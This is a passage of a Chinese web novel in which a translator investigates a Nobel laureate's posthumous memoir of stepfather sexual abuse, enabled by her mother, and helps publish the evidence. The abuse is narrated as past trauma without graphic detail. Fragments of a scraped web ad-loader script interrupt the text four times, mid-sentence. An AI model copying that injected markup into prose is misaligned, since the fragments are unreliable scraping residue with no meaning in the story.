特别是主角的母亲推开门看到了这一切,却什么也没说,只是默默关上了门。 如果这一切都是真实发生在阿黛尔身上的故事,那么…… 段黛缓缓搓着自己的手臂。 阿黛尔的母亲名叫奥莉薇,同样是一位优秀的作家,虽然并未获得过诺奖,但也得到过不少文学奖项。按照临译社的出版计划,再过几个月奥莉薇的作品也会进入公版领域,到时候自然也是要重新翻译发行,列入“段黛世界名著新译”系列的。 更讽刺的是,奥莉薇是因为创作女性主义作品而闻名的。她的小说在剖析了女性处境的同时又不乏生动和趣味,曾经一度是最畅销的女性主义作品。 如果阿黛尔的遗作就是在自己身上真实发生的事情,那岂不是说奥莉薇一边靠着女性主义的创作赚的盆满钵满,一边又对女儿被丈夫性|侵的事情视而不见? 段黛僵硬着身体读完了这部饱含血泪的文稿。一个八十多岁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的作家在生命最后重新审视自己少女时期的噩梦,留下了她最后一部作品。 文档的最后,是阿黛尔亲自撰写的后记。她说自己曾经碍于母亲的名声不敢多说什么,后来继父在她二十五岁时病逝,母亲就好像过去的事情从来没发生过一样继续对待自己,没过几年也追随继父而去了。当时报纸都说他们是灵魂伴侣,而奥莉薇也在死前表达了对亡夫深深的思念,一时间整个澳洲都在歌颂这对神仙眷侣。 在种种压力之下,阿黛尔也学着催眠自己,假装从前继父不曾与她有过过界的行为,让自己忘却一切,像个普通人一样结婚生子。 她说感觉自己时日无多,在回忆过去时忽然想到了这段黑暗的青春岁月。想到母亲逝世即将五十周年,而合作的出版社也向她透露了会在奥莉薇逝世五十周年的纪念日里再次发行她的作品。阿黛尔一时间悲愤交加,便留下了这部揭露了神仙眷侣爱情真相的作品。 她说自己很可能看不到这部作品的发行了,所以也不在意自己对母亲的“诋毁”会给自己带来什么。 平板上的文件已经翻到了最后一页。段黛愣愣地看着屏幕,直到平板的屏幕黑下去,自动锁了屏。 “……” 手机长震了一下,是特别关心的消息提醒。段黛打开一看,是关月兰。 关月兰:【你看完了吗?】 段黛:【我看完了。】 关月兰:【我天,编辑室吵疯了,咱们过几个月还要重新翻译奥莉薇的作品呢……按照计划,阿黛尔的遗作肯定是在奥莉薇之后上的,但是这个内容……】 现在是晚上十点,很明显是下班时间。关月兰他们编辑室的几个人领到文稿后本来是打算趁着空闲时间看的,等到上班时间再交流讨论。然而文稿里的内容实在太过令人震悚,以至于一群编辑大晚上的已经在群里开始讨论了。 关月兰:【你怎么看?】 段黛深吸一口气,脑中的混沌消散开来。她活动了一下身体,让僵硬的手指恢复灵活:【首先要确定一件事,阿黛尔说的到底是不是真的。】 关月兰:【?这肯定是真的吧,她后记里写的那么多……哎……而且都是遗作了也没必要那什么……】 段黛:【这个需要证据。】 段黛:【不论她是真的在奥莉薇的默许下被继父侵犯,还是出于某种理由杜撰了一切,要抹黑奥莉薇的形象,都需要证据支撑。】 关月兰:【你希望是怎么样的?】 段黛:【这有什么可希望的,哪一种情况都很地狱好吧。我只想了解真相。】 关月兰:【那如果调查出真相来,你觉得应该怎么办?】 段黛:【让真相公布出来。】 关月兰的手指微微蜷曲。 不知为何,明明隔着网线,明明只是文字交流,但关月兰总觉得现在的段黛冷静的可怕。 段黛:【选题论证会是哪一天?到时候我也参加吧。】 67. 全社集体论证 段黛来到临译社的时候,关月兰这边的办公室乱成一团。社长和副社长都出动了,在这里又是找资料又是打电话联系的。见着段黛来了,一群人齐齐点头:“段老师。” 段黛略微颔首,接着便走到了关月兰身边。林若愚实习结束回学校了,现在她旁边的位置空了下来。段黛拉开旁边的椅子坐下,问关月兰:“关姐,本来我的出版计划是什么?” 关月兰没想到应该处于风暴中心的段黛来了之后第一句话居然是问出版计划。她虽然不理解怎么回事,但还是回答了她的问题:“本来计划是你两个月完成一本就行,今年一共是六本,但是没想到你完稿速度太快了,几乎是一个月一本……你刚刚交稿的那个本来应该八月份才签给你的……” 几乎没有人记得以前段黛是开天窗大户了。现在临译社的人都知道,是段黛反向卷关月兰,拽着整个出版计划都往前跑了好几步。 段黛点了点头:“提前完成任务的好处就在这。那如果我这几个月速度慢一些,应该也是没问题的吧?” 关月兰愣了一下:“你不会是要……” 段黛点了点头:“中译本怎么样,取决于原版。澳洲那边对这本遗作的态度,会影响我们的选题计划。” 关月兰怔怔地看了她一会儿,喃喃道:“……其实你用不着这么费心的,这些是我们社该去打听的东西……” “人齐了吧!开会!” 社长洪亮的一嗓门叫停了编辑室里的所有争论,众人纷纷起身,往对面的会议厅走去。会议厅比办公室宽敞很多,桌子呈回字型摆放,中间的桌子自然是给选题所在的编辑室的人坐的,而外面一圈则是旁听席。许是这次的选题内容太过震撼,旁听席坐满了人,粗略看了一下各个部门的人都有,甚至其他编辑室也派了各自的负责人过来。 “是全社集体论证啊。”段黛听到关月兰的低语。 众人纷纷落座,段黛随关月兰一起坐在比较靠前的位置。社长调整了一下电脑,抬头问坐在下面的段黛:“段老师,您打算怎么翻译阿黛尔遗作的书名?” 社长从业有二十多年了,虽然已经步入知天命之年,但始终精神焕发,是个雷厉风行的女人。她挽着头发穿着职业装,光是站在那里就让人觉得支撑起了整个出版社。 段黛回答:“直译就好,《那时我只有十二岁》。” 社长点了点头,拔开笔帽在白板上落下段黛所言的书名。写完之后她转过身来,清了清嗓子,开口道:“那么,关于阿黛尔的遗作,《那时我只有十二岁》的选题论证会正式开始。” 屏幕上的页面切换了一下,社长简单介绍了一下遗作的大致内容。英法德编辑室的人已经把原稿反复读过了,但旁听的人是第一次了解情况,在看到争议内容后纷纷发出惊呼。 难怪这几天那边编辑室都在吵,原来是这么大的事。 “……阿黛尔是诺奖获得者,她的离世和遗作的存在本就是颇有话题度的,所以经济效益这方面不必担忧,如果能出版的话,市场性和有效性也是毋庸置疑的……关键在于可行性。” “我们原本担心,澳洲那边的出版方会不会按下遗作不做发表,这样能够保证阿黛尔和其母亲奥莉薇两人的体面……但是沟通过之后发现不太可能了。” 社长按动鼠标,屏幕上出现了各种语言的新闻报道界面:“阿黛尔去世前接受了采访,在媒体面前专门提到了遗作,并且还说希望咱们国家的段黛老师能够成为其遗作中译本的译者。这段采访已经流传到各个国家了,咱们国家的新闻媒体因为阿黛尔提到了段黛也对其进行了报道……可以说世界各国都在关注阿黛尔的遗作,澳洲出版方是不可能将此事掩藏起来的。” “……下半年奥莉薇逝世将满五十周年,其作品将会进入公版,届时同行们必定会重新出版她的作品,我们社本来也有重新翻译奥莉薇作品推出全新版本的计划……” 社长说了现在已有的情况和社里原有的计划,最后罗列了现在面临的问题。全部说完之后,关月兰身为中译本将来的责编也阐述了她的想法。 那天和段黛交流过之后,关月兰也稍微冷静了一些。她从事实入手,在两方面做了论证。 如果阿黛尔所言为真,那么奥莉薇的作品就会成为一个笑话。届时关于奥莉薇的选题就要重新考量。奥莉薇这样级别的作家并不是现在的明星网红或是网文作家,本人与作品在某种程度上是切割的。并且作为争议主角,其作品的热度反而不低。选题依然可以继续,但从文稿撰写到宣传发行的工作都应该做适当简化,没必要投入太多的人力物力,首印量也要下调。 如果阿黛尔所言为假,那么关于奥莉薇的选题自然不需要变动。澳洲那边比较明智的做法是削弱阿黛尔遗作里的自传性,以完全虚构的小说形式重新进行编辑加工和宣传发行。不过澳洲与这里毕竟相距太远,所以他们也不确定最后那边会采取什么样的方式做处理。 “如果是第一种情况,那么奥莉薇的作品不适合再交给段黛做翻译,当然也要移出段黛世界名著新译系列。如果是第二种情况……那么让段黛同时翻译母女俩的作品反而是好事。”关月兰道。 有人举手提问:“你是说,阿黛尔有诬陷其母亲的可能性吗?” 关月兰看了一眼段黛,后者正一脸专注地看着她。她轻声叹息:“从我个人角度而言,阿黛尔说谎的可能性很低。为了诬陷母亲而在临死之前强忍病痛创作出这样一部作品,听起来就很荒谬。但是我们还是要看事实,所以不能放过任何一种可能性。” 她看向段黛:“这也是段黛的意思。” “那这样一来,我们社就很被动了,”有人道,“我们要因为一个后期的选题而 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 改变前面的计划,并且要看澳洲那边的情况……而且奥莉薇的选题已经很近了,如果不能由段黛老师翻译的话,也要尽快决定是重新选择译者还是用已有的翻译版本简单改编……” 其他部门的人纷纷发表看法,社长在白板上刷刷地写着,记录下各方的意见。 “段黛老师怎么看?” 所有人的目光都转了过来,段黛在众人的注视下起身上前,站在关月兰和社长中间。 “身为译者,我能在出版方面考虑的内容比较有限。我所关注的,是事实。” 段黛扫视四周,沉声道:“我希望能够尽可能地还原事实和真相。” 原本争论不断的会议室忽然就安静了下来。 所有人都在讨论舆论、讨论发行,但并没有人关注作品本身的内容。 一个女孩,在母亲的漠视下被继父侵犯数年。 “我想要知道,这到底是事实还是创作。所以我计划前往澳洲,一方面实地考察以便进行翻译,另一方面也是及时获取信息,便于咱们社与澳洲当地出版社的交流沟通,及时对计划做出调整。” 会议室内一片哗然。 段黛继续:“如果阿黛尔的遗作确实为本人真实经历,那我觉得应该在奥莉薇作品大量发行前先将这个事实公开,之后同行们如何处理奥莉薇的作品由他们自行决定。” “……” 片刻后,坐在内圈桌子上的其中一位编辑举起手来:“段黛老师,《那时我只有十二岁》的选题在时间上是比较靠后的,即便你此次前往澳洲搜集资料率先完成翻译,也要拖到一个比较靠后的时间才能发行。那么这期间你会有一段空窗期……” 不料段黛却道:“不,我前往澳洲虽然是要为阿黛尔的遗作收集资料,但并不是要就地翻译遗作。毕竟现在还只有初稿,原版会不会再做修改也不一定,所以《那时我只有十二岁》还是按照原定计划翻译。” “那这次去澳洲,就只是调查?” “我会在当地翻译原本计划的系列里的下一本的作品,可能出稿速度会慢一些,但是不影响我工作。”段黛泰然自若。 提问的编辑大吃一惊,脱口而出:“这么卷吗?” 关月兰扶额,调查着这个还不忘写着那个,段黛真是越来越恐怖了。 最终按照关月兰所说的正反两面,也就是段黛最初说出的那两种可能,全社共同出谋划策,制订了两套比较完备的计划方案,这样无论情况如何他们都能迅速进入状态。至于具体到底选择哪一种方案执行,则交给即将奔赴大洋彼岸的段黛。只要能找到确凿的证据,那么临译社就会迅速执行对应的方案。 散会时关月兰重重地叹了一口气,拍了拍段黛的肩膀:“段黛,没有你我可怎么活啊。” 社长一脸沧桑:“应该说,没有你我们社该怎么活啊。” 68. 那就去找 在来出版社之前,段黛就已经在为去澳大利亚做准备了。黎尚轩得知她又要出国,赶紧去搜了一下:【南半球和咱们这边的季节是反过来的,你记得多带一些厚衣服。】 段黛“啊”了一声:【你不说我差点忘了。】 这几天段黛只顾着查看护照签证之类的东西了,一点没想起来南北半球的事。 黎尚轩:【到时候我送你去机场吧。】 虽说段黛现在有车了,但是毕竟车子不能总在机场停着,她还没财大气粗到可以给机场付好几个月停车费的程度。能有人送她去机场最方便的。思及此,段黛也没推辞:【好。】 临译社和澳洲那边联络了一下,交代好之后给了段黛那边负责人的联系方式。一阵紧急的准备之后,段黛坐上了飞往堪培拉的航班。 黎尚轩送她去机场时,先说了加油,然后补了一句注意安全。段黛略微颔首:“这次我应该不会花很长时间。” 阿黛尔出生于墨尔本,直到母亲奥莉薇去世后才来到堪培拉定居。自阿黛尔获得诺奖之后,便只和一家名叫阿伦的出版公司合作了。正是这家出版公司获得了阿黛尔的遗作,并与临译社取得了联络。 段黛下飞机后,看到到达大厅有人举着一块写着“你好”两个中文大字的牌子,便知道这是阿伦派来接她的人了。举着牌子的女人看起来四十来岁,一头栗色的长发,身形高大健壮,皮肤是非常健康的小麦色,非常符合段黛对农场主的刻板印象。 见到段黛后女人招了招手,先是用蹩脚的中文说了句“欢迎来到堪培拉”,然后还是用了英文来对话。女人名叫凯丽,是阿黛尔生前最后一位责编,就是她将阿黛尔生命最后零零碎碎的手稿与文档整理起来,拼出完整版的《那时我只有十二岁》。 凯丽将段黛的行李放到后备箱里:“没想到段黛小姐会亲自来这里。” 段黛:“阿黛尔女士临终所托,让我觉得自己应该多参与一下她遗作的出版工作。” 凯丽轻轻叹了口气:“我们也是没想到……” 澳洲这边确实入冬了,但是没有段黛想象的那么冷。她拉了拉自己的领口:“不知道你们在读完这部作品后是什么感受……” 凯丽:“坦白来说,我们第一想法都是不敢相信。甚至当时有人想直接销毁这份遗作,不让它再见天日。” 段黛看着前方不同于国内的景色:“但是没办法这么做吧?” “是啊,全国,甚至全世界都知道阿黛尔临终前留有一部作品的事了,并且她在采访里一直表示很期待这部作品的发行,所以我们也不能以阿黛尔遗愿的借口将稿件压下来。” 段黛转头望着路边一望无际似是荒漠一般的风景,数着间隔相同的行道树:“没想过去求证一下,阿黛尔所说的经历是真是假吗?” “……” 没有得到回答的段黛转过头来看着凯丽。 “大概……是真的。” 段黛:“是……有证据了?” 凯丽摇了摇头。 阿黛尔去世时已有八十多岁,她遭受侵害的年代实在太过久远。阿伦公司也试图前往墨尔本做调查,然而当年的邻居同学大多都已不在人世,很多事情都难以考证。 奥莉薇的责编也去世很久了,曾经合作过的出版社现在全是年轻人。根据那家出版社存档的责编手稿来看,奥莉薇与第二任丈夫如胶似漆,多次被出版社的员工们评价为神仙眷侣。 他们在墨尔本曾经居住过的房子被推倒重建,几乎没人知道那里曾住过两位女作家。 种种状况表明,当年的事已经无从查证了。仅存的一些对她们过去生活的记录也全都是好话,根本想象不到奥莉薇会为了保护“爱情”而纵容丈夫性|侵自己的女儿。 那么为什么阿伦的工作人员认为这一切极有可能是真的呢? “奥莉薇去世后,阿黛尔迅速售卖了她和母亲在墨尔本共同居住的家,成交的价格在当时来看算是很低的,看来是非常急着脱手。但是阿黛尔那个时候已经在文坛崭露头角了,到手的版税虽然没有后来那么高,但也足够她生活的。更何况奥莉薇给她留下的遗产也价值不菲,所以实在想象不到阿黛尔为什么要着急将房子卖掉。” “当时阿黛尔卖房子的一个条件就是,希望对方能够将这座房子重新装修,最好是推倒重建。所以最终买下那栋房子的正是承诺会将其大规模拆改的人。” 段黛沉吟:“因为这栋房子里有不好的回忆,所以想尽快销毁吗……” “还有就是,”凯丽深吸一口气,“阿黛尔有比较严重的心理问题,她的心理医生在几年前也去世了。不过根据当时的情况来看,阿黛尔很排斥提到自己青少年时期的事情,也不愿意在公开场合谈论自己的母亲。” “毕竟作家母女嘛,媒体们都会好奇是不是母亲影响了女儿才使她走上创作之路的……但是阿黛尔从来不回答这些问题。其实我们当时都是很奇怪这件事的,也猜测过会不会是奥莉薇再婚之后就忽视了女儿……现在看了阿黛尔的遗作之后,这些误会突然就解除了。” 段黛颔首:“难怪你们觉得这应该都是真的啊。” 但是这些迹象也只是猜想,并不能真正说明继父对阿黛尔的侵犯。 “现在同行们都在准备奥莉薇作品的再版,如果我们这个时候发行了阿黛尔的遗作,就算读者们不说什么,同行们也不会轻易放过我们的。他们会认为我们是故意在这个时候使坏,质疑阿黛尔作品的真实性……最后这两位女作家的名声都会不保。” 凯丽叹了口气:“如果真能找到证据那就好说了,提前发个通知也能让同行们及时止损,避免后面打的太难看……” 段黛望着窗外,缓缓道:“你们没想过削弱遗作里的自传性,让它只作为一部虚构性小说发表吗?” 凯丽开着车:“是说模糊处理吧?不正面回应奥莉薇当年到底做了什么,也不说阿黛尔到底是在编故事还是控告自己的母亲,一千个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人的眼中有一千个哈姆雷特?” 段黛点了点头。 凯丽再度叹息:“可惜这也是行不通的。我们讨论过这种做法,若是平常也就罢了,偏偏现在奥莉薇逝世即将五十周年,再加上阿黛尔去世,所有同行都盯着奥莉薇和阿黛尔……这个时候发表似是而非的作品也是在拱火,模糊也模糊不到哪去。” 段黛了然。看来之前临译社讨论的第二种方案是行不通了。 “阿黛尔的孩子是怎么想的,他们知道作品的内容吗?” 凯丽:“她的孩子们在出生的时候,他们的外祖母奥莉薇已经去世了,所以并不存在什么祖孙感情。阿黛尔的孩子们希望母亲的遗作能够发表,也希望大众能够知道母亲隐瞒了近五十年的痛苦。” 车子终于驶入市区,段黛能看到一些现代化的建筑了。她分析了一番现在已有的状况,道:“所以其实我们只有一条路可以走,那就是找到当年阿黛尔被继父性|侵的证据,然后将阿黛尔的遗作原汁原味儿地发表出来。是这样吗?” 凯丽愣了一下:“这……” 段黛:“不发表是行不通的,多少双眼睛都在盯着看呢。想模糊处理也是行不通的,因为有同行虎视眈眈。所以走来走去,也只能正常发表了吧?想要堵住同行的口舌,就需要找到确凿的证据做支撑。” 为难了阿伦好长时间的问题在段黛的分析下似乎变得简单了。他们纠结了那么久地该怎么应对这件事,想了那么多可能出现的情况……最后在段黛的嘴里只剩下一件事。 ——找证据。 凯丽莫名有种霍然开朗的感觉:“好像还真的是。” 段黛:“找到证据之后,提前召开新闻发布会,在五十周年之前公布奥莉薇漠视阿黛尔被继父性侵的事实,让同行们自行决定要怎样处理即将进入公版的作品……是这样吧?” “……对。” 段黛点头:“那么咱们的问题就简单多了,找证据。” 然而最大的问题就在于证据根本找不到啊! 段黛一脸淡定地摸出手机来,给关月兰发消息:【按照方案一准备吧。】 堪培拉和国内的时差没有那么大,关月兰现在也是上班时间。她收到消息后愣了一下:【这么快就定下了?】 段黛:【方案二行不通,只能照方案一准备了。】 关月兰:【那你们找到证据了?】 段黛:【必须能找到。】 关月兰:【?】 段黛:【这是唯一的办法了,找不到也得找到。】 段黛:【一个月内,阿伦必定召开新闻发布会。】 关月兰一脸莫名。其实段黛这种夸下海口的说法是挺不靠谱的,但不知道为什么,段黛说出来之后就让她莫名觉得很让人信服。 莫非是因为段黛从来不跟她画饼,说到就一定能做到吗? 思考片刻后,关月兰联系了社长:“咱们按照第一个方案来吧,段黛已经打听好了。” 69. 她都不怕了 段黛先来了阿伦出版公司,和几位编辑打了招呼。接着凯丽带段黛来了公司附近一家温泉酒店,她在澳洲住宿产生的费用会由阿伦报销。 来到房间后段黛愣了一下。这房间看起来好像是比她家都要大了,不仅有单独的书房,还有独立的衣帽间,甚至在阳台上还有温泉私汤。 凯丽道:“阿黛尔生前很喜欢来这家酒店,也经常带自己的孩子来这度假。她的孩子听说母亲托付的中国翻译家来堪培拉了,表示愿意用母亲遗作的稿费来支付房费,让段小姐也可以体验一下母亲生前住过的对方。” 原来是用稿费预支的,段黛暗自咋舌,难怪阿伦这般财大气粗了。 凯丽离开之后,段黛拍了几张酒店的照片发了V博:“阿黛尔女士生前最喜欢的度假酒店。” IP定位在澳大利亚,很快就有读者追上来评论了。 ——是为了翻译阿黛尔的遗作所以去了澳洲吗? ——感觉有点心酸,段黛来到阿黛尔生前住过的地方,但是阿黛尔已经去世了。 ——好遗憾啊。 ——这房间好豪华! ——我知道这家酒店!阿黛尔之前说很喜欢在房间里泡温泉!段黛老师快去试试! 在V博营业完之后,段黛打开V信。黎尚轩在一个小时前问她是否平安落地,当时段黛忙着和凯丽说话所以一直没看消息。现在闲下来之后,段黛把照片发给了他:【到酒店了,看起来很豪华。】 黎尚轩很快就回复了:【真不错。】 黎尚轩:【那边情况怎么样,好处理吗?】 段黛:【已经有头绪了。】 黎尚轩:【那就好,加油哦。】 段黛心血来潮,忽然觉得自己也应该关心他一下:【你那边怎么样,一切顺利吗?】 黎尚轩:【放心,都在我能解决的范围内。】 段黛:【那我们一起加油吧。】 黎尚轩发了个加油的表情包。 段黛打开行李箱,先把电脑放到了书房中,接着把自己的衣服一件一件地挂到衣帽间里。都收拾完毕之后段黛叫了送餐服务,端着各种各样的食物去了阳台上的温泉边。 从这里能看到外面的湖景,广阔的天地叫人心旷神怡。段黛将自己浸泡在冒着热气的温泉水之中,一边喝了一口杯子里的果汁,一边看着窗外的夕阳发出一声舒适的喟叹。 天冷的时候泡温泉,并且还是自己一个人,不用担心被其他人打扰。 酒店送的餐味道还是不错的,都很中规中矩,至少不像当时在英国那样吃着直皱眉。填饱肚子之后段黛看着外面渐渐黑下来的夜空,打开手机简单做了一下第二天的计划。 第二天段黛去了阿黛尔病逝的那间医院,了解了一下阿黛尔生命最后一段时光的状态。出来之后段黛问凯丽:“你的前辈们,阿黛尔之前的责编都还在吗?” 凯丽:“上一任责编退休了,身体还很健康……其实责编们我们也是联系过的,都说完全不知道阿黛尔还有这么一段过去。” 段黛点了点头:“对了,那位心理医生……虽然人去世了,但是看诊记录应该还留着吧?” 凯丽有些意外,思索片刻后恍然大悟:“我们以为人死了就找不到了……原来还有看诊记录啊。” 段黛笑了起来:“出版社都要对内部文件做保存呢,其他行业也都一样。” 凯丽当即去找了心理医生所在的医院,两人一起调查了那位心理医生曾经为阿黛尔看诊的记录。大概在十几年前,阿黛尔就不再需要看心理医生了,所以在医生退休后她也没联系新的人来,找起来还是很方便的。 有着诺奖作者名号的加持,医院很爽快地找到了相关档案并交给了她们。 厚厚的本子泛着黄,页面边角已经有些发脆了。段黛小心翼翼地翻开,找到了最初几年的记录。 “……因为遭遇性|侵而导致的心理创伤。” 她轻声念了出来。 凯丽坐在旁边翻着,喃喃低语:“有记录,真的有记录。” 阿黛尔当时对心理医生讲了自己被继父性|侵的过往,这些都被一笔一划地记录在了本子上。凯丽捂住了嘴巴,几乎要落下泪来:“我的上帝啊……” 段黛沉默着看着本子上的内容,片刻后道:“还不够。” 凯丽抬头:“什么?” 段黛:“在笔记里,阿黛尔只说了继父的事情,却没有讲奥莉薇在其中扮演的角色。这个记录可以戳破奥莉薇夫妻恩爱的谎言,却不能证明她一边写着女性主义的作品一边漠视女儿的苦难。” 她一字一顿道:“既然要找,那就找的彻底一些。我们需要更加直白的证据。” 凯丽惊呆了:“去哪找更直白的证据?这应该已经是我们能找到的最好用的证明了吧……” 段黛:“去墨尔本。去案发现场调查。” “那边已经……已经没有什么母女们留下来的痕迹了……” 段黛却摇了摇头:“到底有没有痕迹,得亲自去看了才知道。” 三天后,段黛和凯丽坐上了前往墨尔本的火车。 凯丽坐在火车上昏昏欲睡,段黛则放下了桌板,打开电脑板板正正地打着字。凯丽有些惊奇地看着她:“这是什么?” 段黛:“这是我的翻译文档。” 凯丽愣愣地看着旁边参考窗口上的英文,读了两句之后确定这是另一部作品。 “……你来这里调查阿黛尔的事情,同时还能完成其他作品的翻译?” 段黛并不觉得这有什么奇怪的:“充分利用好时间而已。” 凯丽:“……那你这三天……” 段黛:“房间里的书房很不错,我感觉在那里翻译作品的效率都变高了。原先我还担心来了澳洲翻译速度会变慢呢,现在来看完全不需要担心这一点。” 在出发去墨尔本之前的这三天里,段黛每天都会在他们 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上班时间来阿伦,和负责过阿黛尔作品出版发行的工作人员闲聊,了解过去阿黛尔的一些生活上的事情。毕竟是阿黛尔亲自点名要的翻译,大家只当段黛是在工作,所以很配合她的调查。 凯丽还以为这些闲聊就已经是段黛来澳洲的工作内容了,之后她离开阿伦应该是去周围转了转,旅游观光或者在酒店休息之类的……没想到段黛“下班”之后又自己缩在书房里敲键盘。 凯丽忍不住道:“段小姐是第一次来我们国家吧,没有什么想要旅游观光的地方吗……” 段黛眨了眨眼睛:“想倒是想,不过现在咱们还有工作吧?等阿黛尔的事情解决了,我手里的工作也完成之后……我会到处看看的。” 凯丽:“……” 好可怕的中国人。 虽说阿伦在了解了阿黛尔遗作的具体内容后也调查了墨尔本,但基本上只是通过网络和电话了解了一些大致的情况,并没有真正到这里来。若不是段黛一鼓作气订好了票,只怕是没人会觉得来这里能有什么价值。 凯丽按照地图找到了曾经奥莉薇和阿黛尔居住的地址,和之前打听过的一样,原来的位置早就被新房子取代了,而且近几十年来被翻新了两次,所以是现在比较流行的风格,完全看不出老房子的痕迹。 “阿黛尔读过的学校,现在也和其他学校合并了……” 毕竟这不是五年,而是五十甚至六十年。物是人非人去楼空,母女俩生活过的痕迹很难再被找到了。 段黛思考片刻,开口道:“既然如此……那报警吧?” “……什么?” 段黛理所当然道:“在我们国家,遇到解决不了的问题报警就好了。当然我们现在不需要电话报警,可以直接进警察局。” 别说是凯丽,阿伦公司一开始都没想过要为六十多年前的事情报警。更何况他们一直想的都是把阿黛尔遗作里的内容捂的严严实实的,在商量出对策前不能泄露其中的信息,所以就算调查也是鬼鬼祟祟的,只是自己找了找当时他们在墨尔本可能接触过的人。 遇到问题找警察,段黛的这个说法倒是也不错。只是凯丽还是有些顾虑:“万一泄露了消息怎么办……” 段黛慢慢道:“其实还有一个方法。” 凯丽:“什么方法?” 段黛:“不用我们自己调查,坦诚一些,直接把阿黛尔遗作的信息公布出来,说奥莉薇疑似纵容丈夫性侵自己的女儿,出版方目前还在调查中。这样解决了大众对遗作为何迟迟不宣发的疑问,也能给同行们一个预警,并且发动大众来审判并提供证据。我们遮遮掩掩找不到的相关人员说不定会主动提供信息。” 见凯丽一脸震惊,段黛继续道:“本来这就不是需要遮掩的事情。受她花了整个后半生来消化自己的痛苦,最后发现掩盖不是最好的办法,为自己发声才是。害者阿黛尔自己都愿意把过去揭开给我们看了,我们又何必顾虑那么多可有可无的东西呢?” 70. 我的遗作就拜托你了 凯丽被段黛的思路震撼到了,仔细一想发现居然确实也有道理。凯丽沉默良久,道:“我大概知道,为什么阿黛尔希望你来做中译本的翻译者了。” 行动力超强,从不犹豫不决。虽然功利却不乏正直,无论如何都只要真相。 不会被贞操观束缚,也不畏惧荡|妇羞辱。凯丽最初在ins上看到“段黛大帝”的最新事迹时只是诧异,一方面惊奇于《殡葬师》中译本的曲折,另一方面也想对这位年轻翻译家说“干得漂亮”。 但直到这位姑娘真正来到自己身边,和自己一起工作时,她才感受到段黛身上那种与众不同的力量。 而这种力量,或许阿黛尔在观看视频的时候就已经感受到了。她听不懂中文,但在看到字幕上放出那句“我为什么要为此感到羞耻”时段黛淡定自若的表情,或许一瞬间老泪纵横。 为什么自己要为了继父的错误而痛苦一生?错的又不是自己,她一个受害者为什么要替加害者毁尸灭迹? 两人坐在路边一家咖啡厅里,段黛叫了两杯拿铁,凯丽打开了软面抄笔记本,规划着接下来的路线。 写着写着,她忽然道:“其实我们也是在阿黛尔住院之后才知道,她又写了一本作品的。接着她就说,希望你能来翻译中文版本。” 阿黛尔在完成最后一本出版作品时,身体已经不算好了。阿伦的所有人都以为她会休息一段时间,没想到她马不停蹄地又写了《那时我只有十二岁》,并且没有告诉任何人。 想来那时阿黛尔察觉自己大限将至,于是决定将自己的秘密诉诸文字,并且一开始她并不打算通知出版公司,只想自己记录下来。在她快要完成自我倾诉时,段黛出现在了她的面前,让她萌生出了为自己控诉的勇气。 于是她公开了遗作的存在,决定让大众了解这段过去。 凯丽说着自己的猜测,本以为段黛会吃惊或者落泪。但段黛只是垂着眼眸默默地听着,平静到让凯丽怀疑她是不是没听清楚自己说了什么。 在她话音落下之后,段黛只是淡然一笑:“那我们更应该好好加油,别辜负阿黛尔的遗愿才是。” 并不是感动之后的保证,而是理所当然地说着一个工作目标。 凯丽听说中国有句话叫泰山崩于前而面不改色,现在见了段黛,她算是知道这句话是什么意思了。 两人在咖啡厅里规划了一番,最终决定先自己尽力调查一下,实在找不到证据了再回去和公司商量一下直接公开的事情。奥莉薇逝世五十周年的日期已经近在眼前了,留给他们的时间不多了。 段黛雷厉风行地定下了接下来的调查计划。他们直接冲进了距离奥莉薇和阿黛尔母女二人旧居最近的一家警察局“报警”,说明了遗作的情况。本来在打哈欠的值班警察被诺奖作者的名号激的清醒了起来,相当配合地去翻几十年前的档案。 段黛在征得对方同意后打开手机录像,举起来拍摄。 凯丽:“这是做什么?” 段黛:“留个记录,有备无患。” 段黛预料到可能会有东奔西跑的事情,所以提前准备了一个便携式手机支架。手机支在一边,几个人在镜头下翻看着当年的档案。 “……这是阿黛尔就读的中学……已经被合并了……” “……哎?” 一个警察忽然抬头:“这有一条报警记录,地址是……” 是母女俩旧居所在的地址。 凯丽和阿黛尔迅速凑了过来,那条报警记录写着有个女孩称自己被继父qj。两人接着看后面的出警记录——但警察出警后发现房子里只有母女二人。女儿正在昏迷,母亲说自己在照顾生病的女儿,家里的“父亲”在外地工作,所以不知道是谁打的报警电话。 当时警方认为这通电话可能是恶作剧,于是就离开了。 凯丽感觉自己的心脏被恶狠狠地攥住了。母亲应该就是奥莉薇,女儿是阿黛尔,如果那通电话不是恶作剧,那就说明…… 段黛的声音异常冷静:“这个年份……推算过去的话,阿黛尔当时是十八岁。” 也就是遗作里,女主角所经历的“最黑暗的一夜”。 她抬起头来,声音冷静异常:“铁证如山,可以召开新闻发布会了。” 凯丽和段黛回到了堪培拉。第二天阿伦公司便召开了新闻发布会,简单说明了一下阿黛尔遗作里的信息,借着便展示了自家编辑与阿黛尔钦点的中国翻译调查出来的证据——墨尔本当地警局的出警记录,以及阿黛尔心理医生的出诊笔记。 以女性主义创作闻名的作家奥莉薇居然做出这等事情,新闻一出便引起轩然大波,先是在澳洲内部迅速蔓延,接着辐射全球。 随着新闻的发布,越来越多的信息也主动找上阿伦公司。有人称自己的母亲是阿黛尔的中学同学,母亲的日记里说了当年阿黛尔会躲在同学家里避免回家。墨尔本一家医院的负责人则找到了几十年前的就诊记录,找到了阿黛尔曾经来这里做心理诊疗的证明。越来越多的证据展现在众人面前,证明着阿黛尔那段痛苦的过去并非胡编乱造。 凯丽看着网络上的风起云涌,一时有些感慨:“原来没有我们想象的那么复杂啊。” 段黛平静道:“不要想着替大众解决问题,应该把问题甩给大众。群众的力量是强大的。” 阿伦也没想到,一个从中国来的翻译能把他们焦头烂额了这么多天的问题解决掉。段黛也没想到,事件的两个当事人都已经去世了,他们还畏畏缩缩的不敢说话。 明明有解决问题的方法的,他们在磨蹭什么呢? 